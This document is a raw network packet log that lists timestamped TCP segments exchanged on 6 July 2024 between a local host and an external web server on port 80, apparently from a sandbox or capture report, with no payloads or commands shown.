Jul 6, 2024 14:10:01.008100033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008105993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008121014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008140087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008177996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008187056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008194923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008220911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008230925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008243084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008260965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008284092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008306026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008315086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008351088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008460999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008470058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008505106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008553982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008562088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008594990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008620024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008646965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008665085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008677959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008725882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008763075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008764029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008800983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008944035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008984089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009006977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009059906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009124994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009169102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009181023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009195089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009216070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009224892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009248018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009290934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009313107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009355068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009429932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009438992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009474039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009635925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009681940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009697914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009732962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009742022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009751081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009767056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009778976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009840012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009849072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009897947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009919882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.009962082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.009972095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010014057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010185003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010215044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010222912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010231018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010241985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010262012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010277987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010287046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010297060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010314941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010329008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010440111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010448933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010488033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010606050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010627031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010642052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010674953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010682106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010684013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010718107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010746956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010775089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010782003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010811090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010885000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010930061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.010932922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.010962963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011029005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011074066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011096954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011106968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011126995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011131048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011140108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011179924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011313915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011322975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011368990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011379957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011414051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011425018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011454105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011616945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011658907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011660099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011668921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011689901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011701107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011806965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011847973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.011857986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.011888981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.012059927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012082100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012090921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012101889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.012110949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.012131929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.012234926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012244940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012280941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.012358904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012368917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.012403011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203141928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203155994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203233957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203243017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203264952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203274012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203274965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203289032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203310013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203382969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203417063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203622103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203665972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203691959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203700066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203708887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203718901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203732014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203830957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203850985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203860998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.203869104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.203891039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204148054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204194069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204229116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204237938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204257965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204261065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204272032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204296112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204514027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204555035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204627037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204668999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204777002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204819918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.204927921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204936981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.204972029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205137014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205144882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205178022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205260038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205269098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205276966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205286026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205293894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205303907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205318928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205334902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205370903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205380917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205388069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205395937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205404043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205404997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205416918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205446005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205621004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205630064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205642939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205655098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205672026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205883980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205921888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205928087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205935955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.205959082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.205976963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206032991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206042051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206070900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206211090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206249952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206325054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206334114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206363916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206443071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206480026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206486940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206500053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206521988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206532001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206609964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206653118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206687927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206724882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206758022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206804037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206871033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206912041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.206960917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.206969976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207001925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207309008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207318068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207323074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207356930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207446098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207453966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207462072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207484007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207498074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207504988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207513094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207534075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207541943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207812071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207854986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207881927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207890034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207899094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207910061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207914114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207922935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.207927942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.207952023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.208096981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.208137989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.208247900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.208257914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.208293915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.208357096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.208379984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.208390951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.208415031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.208434105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.208471060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398317099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398332119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398356915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398366928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398377895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398386955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398396969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398432016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398490906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398511887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398545980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398547888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398555994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398585081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398739100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398747921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398786068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398824930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398870945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398873091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398880959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.398905039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.398921967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399430037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399485111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399522066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399534941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399554968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399563074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399570942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399576902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399580956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399606943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399617910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399668932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399678946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399688959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399698019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.399717093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.399739981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.651937008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.651977062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.651988029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652012110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652012110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652075052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652093887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652105093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652115107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652127028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652128935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652148008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652173042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652437925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652448893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652460098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652471066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652475119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652487993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652496099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652523994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652688026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652698994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652709007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652719021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652728081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652754068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652771950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652784109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652795076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652802944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652806044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652822018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652826071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652832985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.652853012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.652865887 CEST	49732	80	192.168.2.4	211.108.60.155
